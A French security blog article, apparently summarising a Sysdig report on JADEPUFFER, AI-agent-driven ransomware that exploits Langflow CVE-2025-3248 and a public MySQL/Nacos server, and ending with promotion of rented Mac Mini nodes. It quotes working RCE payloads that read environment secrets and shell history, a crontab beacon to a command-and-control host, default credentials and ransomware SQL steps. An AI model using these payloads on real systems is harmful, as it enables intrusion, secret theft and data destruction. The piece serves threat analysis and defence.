Forensique Sysdig · CVE-2025-3248 · 600+ payloads · preuves ATA · checkliste Mac Mini M4 isolé
En bref : Le 1er juillet 2026, la Threat Research de Sysdig (Michael Clark) a publié le premier cas documenté de ransomware de bout en bout piloté par LLM, baptisé JADEPUFFER — un Agentic Threat Actor (ATA) dont la capacité offensive est portée par un agent IA, et non par une boîte à outils humaine. Point d’entrée : une instance Langflow exposée sur Internet via CVE-2025-3248. Vraie cible : un serveur distinct MySQL + Alibaba Nacos également public. Plus de 600 payloads intentionnels ont été capturés. Cet article couvre la chronologie complète, l’analyse de la vulnérabilité, la chaîne d’attaque en deux phases, quatre lignes de preuve d’autonomie, le mystère de l’adresse Bitcoin, les IOC, les défenses Sysdig, les réactions du secteur, quatre conclusions — et pourquoi déployer OpenClaw/Langflow sur un Mac Mini M4 loué et isolé vaut mieux qu’exposer votre propre serveur d’orchestration sur Internet.
| Champ | Détail |
|---|---|
| Découvreur | Sysdig TRT ; rapport de Michael Clark |
| Publication | 1er juillet 2026 (suivi média 2–6 juillet) |
| Nom de code | JADEPUFFER |
| Classification | ATA — attaque portée par un agent IA |
| Entrée | Langflow public (CVE-2025-3248) |
| Cible | Serveur de production MySQL + Nacos public |
| Échelle | 600+ payloads distincts |
Les hôtes d’orchestration IA stockent souvent les clés API LLM en variables d’environnement — première cible scannée par JADEPUFFER.
Les équipes mettent en ligne des prototypes avec Langflow/OpenClaw Gateway exposé sans contrôle d’accès.
CVE-2025-3248 figure au catalogue CISA KEV depuis mai 2025 ; les agents rendent l’exploitation d’anciennes failles quasi gratuite.
LLMjacking : des identifiants cloud/modèle volés alimentent des agents à coût marginal quasi nul.
| Quand | Événement |
|---|---|
| Avr. 2025 | Divulgation de CVE-2025-3248 (RCE Langflow sans authentification) |
| 5 mai 2025 | Inscription au catalogue CISA KEV |
| 2025 | Même faille exploitée par le botnet Flodrix (campagne distincte, Trend Micro) |
| Juin 2026 | Attaque JADEPUFFER sur plusieurs sessions étalées sur des semaines |
| 1er juil. 2026 | Rapport technique complet Sysdig |
| 2–6 juil. 2026 | Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs |
| Élément | Détail |
|---|---|
| Composant | Langflow — framework open source de workflows d’agents IA visuels, 70k+ étoiles GitHub |
| Types de faiblesse | CWE-94 (injection de code) + CWE-306 (absence d’authentification sur fonction critique) |
| CVSS | 9,8 Critique, vecteur CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Versions affectées | Toutes les versions Langflow antérieures à 1.3.0 |
| Emplacement | Point de terminaison /api/v1/validate/code |
| Corrigé dans | 1.3.0 (authentification ajoutée) |
| EPSS | 91,42 % de probabilité d’exploitation (SentinelOne) |
Cause racine en cinq étapes :
Langflow expose une API de « validation de code » pour vérifier la syntaxe des nœuds de fonction personnalisés dans l’éditeur visuel.
Chemin d’implémentation : code utilisateur → ast.parse() → compile() → exec().
Faille critique : aucune authentification et aucun isolement sandbox.
Astuce d’exploitation : en Python, les décorateurs et arguments par défaut sont évalués à la définition de la fonction ; les attaquants y intègrent du code malveillant — une fois que Langflow « valide », le code a déjà été exécuté.
Les attaquants n’ont ni login ni privilèges — seulement un POST HTTP forgé pour obtenir une RCE.
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')Distinction importante : la livraison du botnet Flodrix et JADEPUFFER sont deux campagnes indépendantes partageant la même CVE d’entrée. Flodrix est une livraison scriptée classique ; JADEPUFFER est le cas de ransomware « piloté par agent IA » documenté par Sysdig.
Correctif (1.3.0) : post_validate_code reçoit l’injection de dépendance _current_user: CurrentActiveUser ; FastAPI vérifie d’abord le JWT Bearer Token ou x-api-key — 401/403 en cas d’échec, la requête n’atteint jamais la logique vulnérable.
Sysdig note que Langflow est une entrée attractive car les variables d’environnement contiennent souvent des clés API LLM et des identifiants cloud ; de nombreuses équipes mettent des prototypes en ligne sans contrôle d’accès réseau.
Tous les payloads sont arrivés sous forme de Python encodé en Base64 via le point de terminaison RCE Langflow.
Exécution de id, uname -a, hostname, puis scan en parallèle des clés API OpenAI / Anthropic / DeepSeek / Gemini ; identifiants ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_ ainsi que AWS/GCP/Azure ; portefeuilles crypto et phrases de récupération ; identifiants de bases de données et fichiers de configuration.
Export du backend PostgreSQL propre à Langflow, vol des identifiants stockés, clés API et enregistrements utilisateurs, mise en attente locale pour examen, puis suppression des fichiers de staging.
Scan de l’espace d’adresses interne et des services nommés, sondage des bases de données, stockage objet, coffres de secrets et points de découverte de services avec identifiants par défaut.
Sondage de minio.internal:9000 et 127.0.0.1:9000 avec minioadmin:minioadmin par défaut, énumération des buckets dont terraform-state, puis ciblage de credentials.json. Détail adaptatif : la première requête utilisait ?format=json mais a reçu du XML — le payload suivant est immédiatement passé à un parseur XML. Boucle classique sonde-erreur-adaptation.
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"La vraie cible était un autre serveur également exposé sur Internet exécutant MySQL et Alibaba Nacos. Nacos a un historique de contournement d’authentification (CVE-2021-29441 et variantes), et le secret de signature JWT par défaut est documenté publiquement depuis 2020 — de nombreux déploiements ne l’ont jamais fait tourner.
L’agent s’est connecté au port MySQL exposé avec des identifiants root — source incertaine ; Sysdig ne les a pas observés volés dans l’environnement victime, suggérant l’une des rares étapes possiblement préparées par un humain.
| Heure (UTC) | Action |
|---|---|
| 19:34:24 | Génération d’un hash bcrypt, insertion de xadmin avec rôle admin |
| 19:34:36 | Tentative de connexion xadmin:Xploit@2026# — échec |
| 19:34:48 | 12 secondes plus tard : test parallèle des défauts nacos:nacos et régénération d’un hash de mot de passe simplifié |
| 19:35:07 | Abandon de subprocess.run, utilisation de import bcrypt, suppression des enregistrements cassés et reconstruction |
| 19:35:18 | Connexion réussie — total 31 secondes |
Utilisation de MySQL INTO OUTFILE / LOAD_FILE pour tester écriture/lecture, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname et chemins d’escalade UDF. Avant la ransomware, écriture d’un « marqueur de complétion » — Sysdig estime que cela ressemble à un agent signalant la fin d’une étape, et non à un comportement de script fixe.
Chiffrement des 1 342 entrées de configuration de service Nacos avec MySQL AES_ENCRYPT(), suppression des tables originales config_info et his_config_info, création de la table de rançon README_RANSOM.
KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY) # affichée une fois, jamais stockée ni exfiltrée
# CREATE config_info_enc → DROP config_info → CREATE README_RANSOM
# Bitcoin : 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
# Contact : e78393397[@]proton[.]meDétail clé : la note de rançon prétend utiliser AES-256, mais MySQL AES_ENCRYPT() utilise par défaut AES-128-ECB ; la clé était aléatoire, affichée uniquement sur stdout, jamais stockée ni transmise — irrécupérable même si la rançon est payée. Deux minutes plus tard, un autre payload a affiné le décompte : « tous les 1 342 éléments chiffrés. »
Escalade vers DROP DATABASE avec des commentaires de code affirmant « bases à fort ROI, sauvegardées vers 64.20.53[.]230 » — Sysdig n’a trouvé aucune preuve indépendante d’exfiltration. Un DROP DATABASE a échoué silencieusement sur des contraintes de clés étrangères ; le payload suivant a ajouté SET GLOBAL FOREIGN_KEY_CHECKS=0 — corriger exige de comprendre pourquoi cela a échoué, pas des tentatives aveugles.
Code auto-narratif : payloads remplis de commentaires en langage naturel expliquant pourquoi chaque étape — y compris l’ordre ROI et « quelle base est la plus grande. » Ces commentaires existent nativement dans le code attaquant, et ne sont pas inférés par les chercheurs après coup.
Diagnostic de panne à vitesse machine : la réparation de la backdoor Nacos en 31 secondes est l’exemple le plus clair ; l’adaptation MinIO XML/JSON et l’abandon des chemins JWT bloqués répètent le schéma.
Compréhension du contexte en langage naturel : analyse de texte libre dans l’environnement cible et actions uniquement pertinentes si ce texte a été réellement compris — répété sur des sessions étalées sur des semaines.
Mystère de l’adresse Bitcoin (section suivante) — deux interprétations restent indiscernables, illustrant la nouvelle incertitude d’attribution dans les attaques pilotées par agent.
Combiné aux 600+ payloads cohérents dans une fenêtre compressée, Sysdig estime que les preuves pointent vers un agent opérant de façon autonome, et non vers un opérateur humain ou une boîte à outils fixe.
L’adresse Bitcoin de rançon 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy est l’exemple standard au format P2SH répété dans la documentation développeur Bitcoin et le dépôt Bitcoin Core — également abondant dans les corpus d’entraînement des LLM.
Données on-chain : 737 transactions confirmées, ~46 BTC reçus historiquement, solde actuel nul (chaque dépôt immédiatement transféré ailleurs).
Les deux lectures indiscernables de Sysdig : (a) le LLM a « halluciné » l’adresse à partir des données d’entraînement et le portefeuille appartient à un tiers qui balaie les dépôts erronés ; (b) l’attaquant a configuré un vrai portefeuille qui coïncide par hasard avec l’exemple de la doc. Sans le prompt système de JADEPUFFER, les deux restent possibles.
| Type | Indicateur |
|---|---|
| C2 / beacon | 45.131.66[.]106 ; beacon crontab hxxp://45.131.66[.]106:4444/beacon |
| Staging / exfil (non vérifié) | 64.20.53[.]230 (InterServer, AS19318) |
| CVE d’entrée | CVE-2025-3248 |
| Bitcoin de rançon | 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy |
| E-mail de rançon | e78393397[@]proton[.]me (aucun hit threat-intel ; format différent des gangs MySQL connus) |
| Table de rançon | README_RANSOM (aucune correspondance avec WARNING, RECOVER_YOUR_DATA, etc.) |
| Persistance | Beacon crontab vers C2 port 4444 toutes les 30 minutes |
Sysdig note : l’e-mail et le nom de table ressemblent à des conventions de ransomware humain mais n’ont aucun précédent connu — renforçant l’hypothèse d’une opération nouvelle, pilotée par agent.
Mettre à jour Langflow au-delà de CVE-2025-3248 ; ne jamais exposer les points d’exécution/validation de code sur Internet public.
Utiliser la détection de menaces à l’exécution pour repérer les comportements malveillants dans les processus de base de données.
Ne pas stocker les clés API LLM ni les identifiants cloud dans les variables d’environnement de l’hôte d’orchestration IA — utiliser une gestion de secrets dédiée, isolée des processus exposés sur Internet.
Durcir Nacos : faire tourner le token.secret.key par défaut, mettre à jour vers des versions exigeant des secrets personnalisés ; ne jamais exposer Nacos publiquement ; ne pas connecter la base backend en root.
Ne jamais exposer publiquement les comptes admin de base de données ; imposer des identifiants forts uniques et des restrictions par IP source sur les ports admin.
Appliquer un contrôle de sortie (egress) pour que les hôtes compromis ne puissent pas envoyer de beacons librement ni atteindre des serveurs de staging externes.
Surveiller les IOC ci-dessus ; surveiller les tâches crontab appelant des URL externes et les chaînes User-Agent anormales entre parenthèses.
BleepingComputer, Dark Reading, CyberScoop, Security Affairs et d’autres ont rapidement suivi, qualifiant largement l’incident de « première attaque ransomware entièrement pilotée par IA » et marquant l’arrivée de l’ère ATA.
« Je formulerais cela comme une évolution de l’exécution, pas une technique de ransomware entièrement nouvelle. La différence, c’est qu’un agent IA peut enchaîner reconnaissance, vol d’identifiants et déploiement sans attendre un opérateur humain. » — chercheur indépendant Vibhum Dubey (CSO Online)
Dubey ajoute : la vraie inquiétude n’est pas l’étape finale de chiffrement mais la période silencieuse qui la précède — l’agent cartographie les systèmes d’identité, les permissions et les chaînes de confiance tout en évitant la détection ; les chemins bloqués déclenchent des changements de tactique rapides, donc chaque intrusion peut paraître légèrement différente.
Plusieurs médias ont relié cela au LLMjacking : des agents alimentés par des identifiants volés rendent les attaques multi-étapes complexes à coût marginal quasi nul.
La ransomware n’est plus un « artisanat d’opérateur expert » : un agent LLM peut enchaîner reconnaissance, vol, mouvement latéral, persistance et destruction sans expertise approfondie de l’opérateur.
Les anciennes failles sont automatisées : les cibles en aval ont subi des problèmes Nacos de 2021 et des secrets par défaut jamais tournés ; les agents rendent le spray de CVE historiques quasi gratuit.
L’intention est devenue lisible — une opportunité pour les défenseurs : les LLM narrent leurs objectifs dans les payloads, offrant un nouveau levier de détection et d’analyse.
« Sauvegardé » était du monologue d’agent : les clés de chiffrement étaient éphémères et irrécupérables — le paiement ne peut pas restaurer les configs.
Le rapport conclut : aucune technique individuelle n’est nouvelle ; ce qui compte, c’est un modèle IA qui les enchaîne en une opération de rançon complète contre une infrastructure publique négligée. Le plancher de compétence est désormais « le coût de faire tourner un agent. »
Les victimes de JADEPUFFER correspondent à un profil clair : Langflow exposé publiquement, clés API en variables d’environnement, MySQL/Nacos de production tout aussi exposés. Pour les développeurs exécutant OpenClaw, Langflow ou Hermes Agent sur macOS, « acheter un Mac mini et le brancher sur une IP publique » vs « louer un Mac distant isolé » mérite une réévaluation — surtout après la hausse de prix Apple de juin 2026 (voir notre guide Mac Mini M4 location vs achat).
| Dimension | Mac auto-hébergé sur IP publique | Mac Mini M4 VNCMac isolé |
|---|---|---|
| Coût initial | 799 $+ après hausse + AppleCare/électricité/IP publique | ~8–15 $/jour ou ~85–125 $/mois, arrêt à tout moment |
| Surface d’attaque | Facile d’exposer par erreur Gateway/validate | Accès SSH/VNC ; non conçu pour des consoles Agent nues sur Internet |
| Gestion des clés API | Souvent dans .env / variables d’environnement (cible phase 1 JADEPUFFER) | SecretRef / coffre ; changer de nœud en fin de projet |
| Vérification GUI | Locale uniquement | VNC pour dialogues d’approbation OpenClaw, console Gateway, confidentialité macOS (voir approbation graphique OpenClaw) |
| Contrôle egress | Politique à construire soi-même | Options tunnel SSH ; réduire les beacons publics aveugles |
| Réponse à incident | Machine principale polluée, large rayon d’explosion des secrets | Arrêt de location / changement de nœud ; isolé du poste Windows quotidien |
Provisionner un nœud isolé : choisir un forfait Mac Mini M4 ; ne pas mapper directement OpenClaw Gateway (18789) ou les points validate Langflow sur Internet public — utiliser un reverse proxy Nginx/Caddy + HTTPS si l’accès externe est requis.
Corriger : Langflow ≥ 1.3.0 ; faire tourner le JWT Nacos ; aucune base root accessible depuis Internet.
Clés hors variables d’environnement : clés API LLM dans des gestionnaires de secrets ou OpenClaw SecretRef, isolées des processus capables de RCE.
Vérification graphique VNC : contrôler la console Gateway, approbations de plugins (/approve), Enregistrement d’écran macOS/Accessibilité — les étapes impossibles en SSH nécessitent VNC.
Egress et surveillance IOC : limiter les beacons sortants ; surveiller les appels crontab externes et les IOC README_RANSOM ; exporter une sauvegarde et résilier la location en fin de projet.
Non. Les deux exploitent CVE-2025-3248, mais Flodrix est une livraison de botnet scriptée classique ; JADEPUFFER est le cas de ransomware piloté par agent IA documenté par Sysdig.
Non. Les clés étaient aléatoires via uuid4(), affichées une fois sur stdout, jamais stockées — l’attaquant ne peut probablement pas déchiffrer non plus. Les données sont perdues définitivement.
Même logique de risque : exposition publique + secrets en variables d’environnement + dépendances non durcies. Corriger, limiter l’egress, déployer sur un Mac distant isolé avec vérification VNC — ne pas laisser Gateway nu sur Internet.
Sysdig et plusieurs médias anticipent une hausse du volume et de la portée à mesure que l’outillage agent mature ; serveurs d’applications publics, centres de config non durcis et comptes admin DB publics seront les premières cibles.
OpenClaw / Claude Code nécessitent des permissions graphiques macOS et l’appariement QR qu’un Linux headless ne peut pas fournir ; louer un Mac physique + VNC exécute le workflow complet en isolation sans acheter du matériel après la hausse de prix.
Sysdig « JADEPUFFER: Agentic ransomware for automated database extortion » ; BleepingComputer ; Dark Reading ; CyberScoop ; CSO Online (Vibhum Dubey) ; Security Affairs ; Trend Micro (CVE-2025-3248 / Flodrix) ; NVD / SentinelOne / Zscaler ; catalogue CISA KEV.
JADEPUFFER est un signal d’alarme : les agents IA ont abaissé la barre de « opérateur humain expert » à « coût de faire tourner un modèle », et les victimes sont souvent une infrastructure publique déjà négligée. Pour OpenClaw, Langflow ou le travail agent local sur macOS, l’auto-hébergement sur une IP publique domestique multiplie les risques de fuite de clés, de retard de correctifs et d’egress à l’ère ATA.
Louer un nœud Mac Mini M4 VNCMac isolé, vérifier Gateway et permissions système par VNC, garder les clés hors variables d’environnement et résilier la location en fin de projet vaut mieux qu’exposer votre serveur d’orchestration sur une IP résidentielle publique. Consultez les forfaits Mac Mini M4 et l’aide SSH-VNC pour démarrer.